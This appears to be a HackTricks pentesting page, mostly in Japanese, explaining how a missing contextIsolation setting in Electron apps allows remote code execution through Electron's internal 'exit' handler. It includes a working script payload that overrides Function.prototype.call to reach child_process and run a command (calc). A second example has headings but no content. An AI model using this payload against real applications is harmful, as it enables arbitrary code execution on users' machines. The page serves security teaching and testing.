hacktricks/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md

2.2 KiB

Electron contextIsolation RCE via Electron internal code

{{#include ../../../banners/hacktricks-training.md}}

Example 1

Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41

"exit" イベントリスナーは、ページの読み込みが開始されるときに内部コードによって常に設定されます。このイベントは、ナビゲーションの直前に発生します:

process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

{{#ref}} 664c184fcb/lib/common/asar.js (L30-L36) {{#endref}}

8a44289089/bin/events.js (L156-L231) -- もはや存在しません

次はここに行きます:

ここで「self」はNodeのプロセスオブジェクトです:

プロセスオブジェクトは「require」関数への参照を持っています:

process.mainModule.require

handler.callがprocessオブジェクトを受け取るため、任意のコードを実行するためにそれを上書きすることができます:

<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>

例 2

プロトタイプ汚染からのrequireオブジェクトを取得。 From https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

漏洩:

エクスプロイト:

{{#include ../../../banners/hacktricks-training.md}}